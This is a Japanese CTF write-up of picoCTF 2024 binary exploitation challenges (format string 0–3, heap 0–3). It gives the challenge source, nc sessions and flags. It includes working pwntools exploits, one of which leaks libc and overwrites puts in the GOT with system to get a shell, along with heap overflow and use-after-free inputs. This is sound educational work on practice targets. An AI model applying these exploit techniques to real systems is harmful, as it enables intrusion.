picoCTF 2024 Writeup - Binary Exploitation
format string 0 - 50 points
バイナリとソースコードが提供される。実際のフラグはインスタンスにアクセスして取得する。
SEGVが発生したらフラグを表示させるコードになっている。
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
...
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
さらにコードを読むと
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
...
}
でBUFSIZEより十分大きな入力を与えるとSEGVが発生しそうである。インスタンスにアクセスし、長い文字列を与えると、フラグを出力してくれる。
$ nc mimas.picoctf.net 49907
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
There is no such burger yet!
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}
heap 0 - 50 points
ソースコードを見るとフラグはsafe_varが"bico"では無くなったと気に表示される
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
safe_varはinput_dataの直後にmallocされて近い位置にある。
void init() {
....
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
input_dataへの書き込みはscanfで実行されていて、長さチェックはされていない。
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
実際に起動するとヒープを表示してくれて、0x20の差があることがわかる。picoとなっているのがinput_dataでbicoとなっているのがsafe_var
$$ nc tethys.picoctf.net 54887
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5636b3af82b0 -> pico
+-------------+----------------+
[*] 0x5636b3af82d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
ので、バッファに32文字以上書き込めば良い
Enter your choice: 2
Data for buffer: 0123456789abcdef0123456789abcdefhoge
...
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5636b3af82b0 -> 0123456789abcdef0123456789abcdefhoge
+-------------+----------------+
[*] 0x5636b3af82d0 -> hoge
+-------------+----------------+
...
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_e4c92a78}
format string 1 - 100 points
ソースコードを確認すると、ユーザの入力をそのままprintfしているのでFSB(Format String Bug)が使える。
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
%n$pを入力していくとn=14のあたりからasciiっぽいhex値が出てくる。これをリトルエンディアンとしてくっつければ良い
$ nc mimas.picoctf.net 58990
Give me your order and I'll read it back to you:
%14$p
Here's your order: 0x7b4654436f636970 # picoCTF{
Bye!
$ nc mimas.picoctf.net 58990
Give me your order and I'll read it back to you:
%15$p
Here's your order: 0x355f31346d316e34 # 4n1m41_5
Bye!
$ nc mimas.picoctf.net 58990
Give me your order and I'll read it back to you:
%16$p
Here's your order: 0x3478345f33317937 # 7y13_4x4
Bye!
$ nc mimas.picoctf.net 58990
%Give me your order and I'll read it back to you:
17$p
Here's your order: 0x35365f673431665f # _f14g_65
Bye!
$ nc mimas.picoctf.net 58990
Give me your order and I'll read it back to you:
%18$p
Here's your order: 0x7d313464303935 # 590d41}
Bye!
フラグは以下
picoCTF{4n1m41_57y13_4x4_f14g_65590d41}
heap 1 - 100 points
ソースコードを見ると今度はsafe_varがpicoになっていたら、フラグを出力することになっている
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
他はheap 0と同じなので、heap 0と同じことを実施すれば良い
$ nc tethys.picoctf.net 58328
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x557b724a82b0 -> pico
+-------------+----------------+
[*] 0x557b724a82d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: 0123456789abcdef0123456789abcdefpico
...
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x557b724a82b0 -> 0123456789abcdef0123456789abcdefpico
+-------------+----------------+
[*] 0x557b724a82d0 -> pico
+-------------+----------------+
...
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang_9e9243f9}
heap 2 - 200 points
heap 1と似たような問題。
ソースコードを見ると今度はwin関数でフラグを出力するが、この関数はどこからも呼ばれていない。そして、選択肢4を選んだときにcheck_win関数が実行されるが、これは今回書き換えたいヒープ上の値xを関数として実行している。
void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
よって、xを関数winのアドレスに書き換えれば良い。
gdbで確認するとwin関数のアドレスは0x4011a0である。
(gdb) p win
$1 = {void ()} 0x4011a0 <win>
以下のようなaを32文字入力した後に0xa01140を入力するようなファイルを用意してncコマンドに食わせる
$ hexdump -C sample.bin
00000000 32 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |2.aaaaaaaaaaaaaa|
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
00000020 61 61 a0 11 40 0a 31 0a 34 0a |aa..@.1.4.|
$ cat sample.bin | nc mimas.picoctf.net 62899
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: Data for buffer:
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: [*] Address -> Value
+-------------+-----------+
[*] 0x19b32b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@
+-------------+-----------+
[*] 0x19b32d0 -> �@
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: picoCTF{and_down_the_road_we_go_91218226}
heap 3 - 200 points
heap 2と同様の問題。
今度は構造体を使って、x->flagが"pico"であればフラグを表示する。
// Create struct
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
...
object *x;
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("No flage for u :(\n");
fflush(stdout);
}
// Call function in struct
}
object構造体をmallocしているが、選択肢5を選んでfreeして、選択肢2で再度同じサイズをmallocして30バイト目からpicoを書き込めば良い
$ nc tethys.picoctf.net 61552
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 5
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 2
Size of object allocation: 35
Data for flag: 0123456789abcdef0123456789abcdpico
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x14fa2ce -> pico
+-------------+-----------+
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 4
YOU WIN!!11!!
picoCTF{now_thats_free_real_estate_c1e14587}
format string 2 - 200 points
ソースコードは以下。変数susを0x21737573から0x67616c66に変更するとフラグが表示される。
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
printf(buf)を実行しているので、FSBが利用できる。
FSBを実行するために、printf実行時のオフセットと、書き込みたいアドレスと書き込みたい内容を用意する。
printf実行時のオフセットはインスタンスにアクセスして%n$pを増やしていくとn=14がフォーマット文字列のオフセットになる。
$ nc rhea.picoctf.net 50743
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
%14$p
Here's your input: 0x7024343125 # 0x7024343125 = %14$p(little endian)
sus = 0x21737573
You can do better!
書き込みたいアドレスはsusのアドレスなので、gdbで確認すると0x404060である。
(gdb) p &sus
$1 = (<data variable, no debug info> *) 0x404060 <sus>
書き込みたい値は0x67616c66である。
これらをpwntoolsのfmtstr_payloadを使ってprintfに食わせる文字列を作る。
from pwnlib.fmtstr import *
context.arch='amd64'
print(fmtstr_payload(14, {0x404060:0x67616c66}, numbwritten=0, write_size='byte').decode('utf-8'))
これpwn.pyとして実行した出力をncコマンドに食わせるとフラグが出力される
$ python pwn.py | nc rhea.picoctf.net 50743
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:
...
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{f0rm47_57r?_f0rm47_m3m_f43e6ccc}
format string 3 - 300 points
ソースコードは以下
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
printf(buf)しているのでこれもFSBで攻撃できそう。
さらにputs(normal_string)(normal_string="/bin/sh")を実行しているので、putsのアドレスをsystem関数のアドレスに書き換えればシェルが起動できてフラグを取得できそう
- printf時のオフセット
- GOT上のputs
- libc上のsystem関数のアドレス
の3つの情報が必要。
printf時のオフセットはインスタンスへ%n$pを入力すると38だとわかる
$ nc rhea.picoctf.net 49961
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f58edbd73f0
%38$p
0xa7024383325
/bin/sh
GOT上のputsはgdbで確認すると0x401080であることがわかる
(gdb) p puts
$1 = {<text variable, no debug info>} 0x401080 <puts@plt>
libc上のsystem関数のアドレスは、libc上の関数のアドレスは毎回変更されるようであるので、インスタンスが出力するsetvbufのアドレスをベースに計算する。
libc.so.6からsetvbufとsystemの差を計算しておき、実際にインスタンスにアクセスした時のsetvbufのアドレスに、その差を足す形にする。
これをpwntoolsを使って以下のように実装した。
import sys
from pwn import *
from pwnlib.elf.elf import *
from pwnlib.fmtstr import *
context.arch='amd64'
fs3 = ELF('./format-string-3')
got_puts = fs3.got['puts']
print(f'got_puts: {hex(got_puts)}')
libc = ELF('./libc.so.6')
libc_system = libc.symbols['system']
print(f'libc_system: {hex(libc_system)}')
libc_setvbuf = libc.symbols['setvbuf']
print(f'libc_setvbuf: {hex(libc_setvbuf)}')
host = sys.argv[1]
port = int(sys.argv[2])
r = remote(host, port)
m = r.recvregex(b'libc: 0x([0-9a-f]+)\n', capture=True)
matched_string = m.group(0).decode()
log.info(f'matched_string: {matched_string}')
loaded_libc_setvbuf = int(m.group(1).decode(), 16)
loaded_libc_system = loaded_libc_setvbuf + (libc_system - libc_setvbuf)
log.info(f'loaded_libc_system: {hex(loaded_libc_system)}')
loaded_libc_system_lower = loaded_libc_system & 0xffffffff
format_string = fmtstr_payload(38, {got_puts:loaded_libc_system}, numbwritten=0, write_size='byte')
r.sendline(format_string)
r.interactive()
実行すると、ペイロードをインスタンスに送信して、シェルが起動する。
$ python flag.py rhea.picoctf.net 49961
...
$ ls
Makefile
artifacts.tar.gz
flag.txt
format-string-3
format-string-3.c
ld-linux-x86-64.so.2
libc.so.6
metadata.json
profile
$ cat flag.txt
picoCTF{G07_G07?_cf6cb591}
Discussion